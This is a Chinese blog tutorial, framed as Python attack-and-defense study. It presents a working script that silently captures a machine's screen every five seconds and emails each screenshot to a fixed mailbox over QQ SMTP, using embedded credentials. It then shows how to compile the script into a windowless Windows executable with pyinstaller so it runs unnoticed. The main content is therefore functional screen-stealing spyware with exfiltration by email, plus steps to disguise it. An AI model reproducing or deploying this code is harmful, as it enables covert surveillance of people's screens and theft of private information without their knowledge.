文章目录

  • 前言
  • 屏幕窃取
    • 脚本代码
    • 效果演示
    • 生成EXE
  • 总结

前言

在前面的一篇文章:Python爬虫-京东商品到货自动邮件通知 介绍了如何通过 Python 脚本监控京东商品是否到货并自动发送到货邮件通知,为了继续学习 Python 编程语言的应用,本文将记录学习下如何通过 Python 脚本截取目标机器上的屏幕并自动发送到指定邮箱中。

屏幕窃取

目标脚本的目的是实现定期(每5秒)截取一次电脑屏幕、保存在本地并将其自动发送给自定邮箱。

脚本代码

最终实现的脚本比较简单,直接上代码:

import time
import smtplib
from PIL import ImageGrab
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart"""
自动发送邮件的函数
"""
def smtp_s():fromaddr = '142*******30@qq.com'     # 发送方邮箱password = 'bw*************bef'      # 开启邮箱 SMTP 服务后获取的授权码toaddrs = ['130******81@163.com']    # 邮件接受方邮箱地址,注意需要[]包裹,这意味着你可以写多个邮件地址群发content = '正文内容:这是一封来自Python攻防脚本自动发送的电脑屏幕窃取测试邮件!'textApart = MIMEText(content)imageFile = r"1.png"  # r表示原生字符,不进行转义imageApart = MIMEImage(open(imageFile, 'rb').read(), imageFile.split('.')[-1])imageApart.add_header('Content-Disposition', 'attachment', filename="屏幕截图.png")m = MIMEMultipart()m.attach(textApart)   # 文本m.attach(imageApart)  # 发送图片附件m['Subject'] = '主题:Python屏幕监控邮件'm['From'] = "Tr0e"try:server = smtplib.SMTP('smtp.qq.com')server.login(fromaddr, password)server.sendmail(fromaddr, toaddrs, m.as_string())print('发送成功!')server.quit()except smtplib.SMTPException as e:print('error:', e)  # 打印错误"""
截取屏幕并保存图片的函数
"""
def imG():i = 1while True:im = ImageGrab.grab()im.save('1.png')print("第%d个屏幕截取成功!" % i)time.sleep(5)i = i + 1smtp_s()if __name__ == '__main__':imG()

简单解释下上述代码:

  1. 图片截取使用 Python 图像处理库 PIL 的 ImageGrab 模块,grab() 函数会抓取当前屏幕的快照,返回一个模式为 “RGB” 的图像;
  2. 发送邮件使用的是 Python 的 smtplib 库,该库对 SMTP 邮件传输协议协议进行了简单的封装,具体教程可以参见:Python SMTP发送邮件;
  3. 注意下,上面的收件邮箱是我的 163 网易邮箱,发件邮箱是 QQ 邮箱,发件密码(代码中的password = 'bw*************bef'字段,不是 QQ 登陆密码)的获取和发件功能需要在QQ邮箱的 “设置-账户” 里开启如下所示功能:

效果演示

在 Pycharm 中编辑并运行上述代码,运行效果如下:
目标邮箱 130*******81@163.com 收到邮件如下:

生成EXE

下面演示将上述 Python 代码打包生成 Windows 系统下的 exe 可执行文件。

1、执行命令pip install pyinstaller下载安装 pyinstaller 库:
2、若需将 xxx.py 文件打包,只需在文件对应的目录下运行终端并执行pyinstaller xxx.py命令即可,常用可选项及说明:

-F:打包后只生成单个exe格式文件;
-D:默认选项,创建一个目录,包含exe文件以及大量依赖文件;
-c:默认选项,使用控制台(就是类似cmd的黑框);
-w:不使用控制台;
-p:添加搜索路径,让其找到对应的库;
-i:改变生成程序的icon图标。

3、执行命令pyinstaller -F -w Test.py开始封装上述窃取屏幕的代码,随后会在生成的 dist 文件夹下生成 Test.exe 可执行文件:
4、双击运行 Test.exe 可执行文件,同样能触发屏幕窃取并发送邮件:
此时邮箱将每隔 5 秒收到一封邮件……需要暂定发件的话需要手动在任务管理器里终止 Test.exe 的进程任务。

总结

本文所演示的代码不足 50 行,却实现了从自动定时截取电脑屏幕、到自动发送邮件的功能,这就是 Python 简短强悍的功能!后续将继续结合一些网络攻防的实际用途,学习并总结 Python 一些有意思的用法。

Python攻防-截取屏幕并自动发送指定邮箱相关推荐

  1. 树莓派4B开机自启动Python程序,发送WIFI-IP至指定邮箱

    树莓派4B开机自启动Python程序,发送WIFI-IP至指定邮箱 树莓派开机自启动Python并发送IP地址到指定邮箱 环境 用Python发送邮件 获取WIFI的IP地址 整合发送邮件和获取WIF ...

  2. Python爬取新闻并自动发送到邮箱

    完整代码 import requests import pandas as pd import yagmail import random import csv from lxml import et ...

  3. php留言板发送邮箱功能,留言板新增留言自动发送指定邮箱方法

    guest.php代码如下: /** * * 留言板 * * @version        $Id: guestbook.php 1 10:09 2010-11-10 tianya $ * @pac ...

  4. python写梦幻西游手游脚本辅助_3 行 python 代码帮你轻松实现” 自动发送测试报告 “到指定邮箱...

    此文章来源于项目官方公众号:"AirtestProject" 版权声明:允许转载,但转载必须保留原链接:请勿用作商业或者非法用途 前言 大多数情况下,跑完用例脚本之后,我们需要把测 ...

  5. python选择文件夹,并自动发送这个文件夹下的所有文件(以附件的形式)至指定邮箱(通过163邮箱)

    工作中需要将自动生成的表格发送给办公邮箱继续处理,结合遍历文件夹和自动发邮件,做出了可以选择文件夹,并自动发送这个文件夹下的所有文件(以附件的形式)至指定邮箱 import smtplib from ...

  6. 定时运行python脚本并发送邮件_python实现定时发送邮件到指定邮箱

    本文实例为大家分享了python实现定时发送邮件到指定邮箱的具体代码,供大家参考,具体内容如下 整个链路:传感器采集端采集数据,边缘端上传数据库,从数据库拿到数据. 产品端有个自动出报告的需求,并且希 ...

  7. python附件发送到邮箱里_使用python将最新的测试报告以附件的形式发到指定邮箱...

    具体代码如下所示: import smtplib, email, os, time from email.mime.multipart import MIMEMultipart from email. ...

  8. Python黑客系列之——控制自己的手机摄像头拍照,并自动发送到邮箱。

    前言 嗨喽,大家好~今天教大家玩个花的,加入你手机被人偷了或者捡走了,那么如何找到这个人呢?通过定位系统可以,那么还有什么办法是可以让别人给你送回来的方法吗?这就是今天咱们的一个要实现的一个案例! 今 ...

  9. python 分隔符截取字符串_python指定分隔符截取字符串

    python截取指定分隔符后面的字符串 例如:notifydata[1] =G20-杭州峰会放假时间 notifydata[2] =G20-杭州峰print('-'.join('G20-杭州峰会-放假 ...

最新文章

  1. 浅谈25种设计模式(4/25)(此坑未填)
  2. 某字节程序员求助:家庭条件比leader好很多,leader还没买房,但自己已准备买车买房,会不会被仇富?网友:收敛点,别露富!...
  3. GoogleNet - Going deeper with convolutions
  4. VBA word 文件类型html,vba设置word文档的格式
  5. JSP1.0\JSP2.0 区别
  6. 思维导图分析http之前端组成
  7. ABP vnext模块化架构的最佳实践的实现
  8. flask 上传头像
  9. Python在一个文件夹下遍历得到所有的子文件路径和子文件后缀名
  10. Sharding-JDBC读写分离_实现_Sharding-Sphere,Sharding-JDBC分布式_分库分表工作笔记017
  11. php 清除英文字母,PHP英文字母大小写转换函数小结
  12. 怎样提高java平台的性能
  13. Qt XDF阅读管理
  14. 简约黑白双色求职简历PPT模板
  15. 台达plc自由口通讯_台达PLC串行通讯应用原理
  16. week3 day3 迭代器和生成器
  17. Flyme应用中心应用认领
  18. 关于matlab好文推荐
  19. nbu客户端卸载_卸载NETBACKUP
  20. elementUI级联选择器(Cascader)回显问题和clearCheckedNodes无效的解决方法

热门文章

  1. flutter基础结构——顶部appbar和body
  2. 双鱼座三:舞者与梦想家的一周
  3. BigDecimal 保留小数位
  4. [TJOI2013]松鼠聚会
  5. Materials Studio 计算溶解度参数
  6. 被mac fink terminator折磨的我
  7. java 一对多关系修改,java – EclipseLink以一对多关系生成重复条...
  8. [BZOJ4327] JSOI2012玄武密码
  9. 宝可梦世界无限极怎么开服务器,口袋妖怪世界无极限运行库
  10. 基于STM32F4的心电监护仪